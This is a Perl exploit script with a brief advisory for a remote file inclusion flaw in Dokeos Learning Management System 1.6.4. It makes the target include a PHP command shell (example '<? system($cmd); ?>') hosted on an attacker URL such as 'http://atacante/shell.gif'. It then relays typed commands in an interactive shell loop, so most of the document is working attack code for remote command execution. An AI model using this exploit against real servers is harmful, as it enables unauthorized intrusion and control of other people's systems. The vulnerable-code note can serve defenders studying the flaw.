#!/usr/bin/perl ############ # Dokeos Learning Management System 1.6.4 Remote File Include # Exploit & Advisorie: beford <xbefordx gmail com> # # uso:# perl own.pl <host> <cmd-shell-url> <cmd-var> # perl own.pl http://host.com/dokeos/ http://atacante/shell.gif cmd # # cmd shell example: <? system($cmd); ?> # cmd variable: cmd; # ############# # Description ############# # Vendor: http://www.dokeos.com/ # The file dokeos/claroline/auth/ldap/authldap.php uses the variable # includePath in a include() function without being declared. # This issue has already been fixed in current claroline.net version, # but dokeos still uses a vulnerable version. ############ # Vulnerable code ############ # include ("$includePath/../auth/ldap/ldap_var.inc.php"); ############ use LWP::UserAgent; $Path = $ARGV[0]; $Pathtocmd = $ARGV[1]; $cmdv = $ARGV[2]; if($Path!~/http:/// || $Pathtocmd!~/http:/// || !$cmdv) { usage(); } head(); while() { print "[shell] $"; while(<STDIN>) { $cmd=$_; chomp($cmd); if (!$cmd) {last;} $xpl = LWP::UserAgent->new() or die; $req = HTTP::Request->new(GET =>$Path.'claroline/auth/ldap/authldap.php?includePath='.$Pathtocmd.'?&'. $cmdv.'='.$cmd)or die "nCould Not connectn"; $res = $xpl->request($req); $return = $res->content; $return =~ tr/[n]/[?]/; if ($return =~/Error: HTTP request failed!/ ) { print "nInvalid path for phpshelln"; exit; } elsif ($return =~/^<br./>.<b>Fatal.error/) { print "nInvalid Command, error.nn"; } if ($return =~ /(.*)/) { $finreturn = $1; $finreturn=~ tr/[?]/[n]/; print "rn$finreturnnr"; last; } else { print "[shell] $"; } } } last; sub head() { print "n===================================================================== =======rn"; print " Dokeos Learning Management System Remote File Includern"; print "======================================================================= =====rn"; } sub usage() { head(); print " Usage: perl own.pl <host> <url-cmd> <var>rnn"; print " <host> - Full Path : http://host/dokeos/ rn"; print " <url-cmd> - PhpShell : http://atacate/shell.gif rn"; print " <var> - var name used in phpshell : cmd rnrn"; exit(); }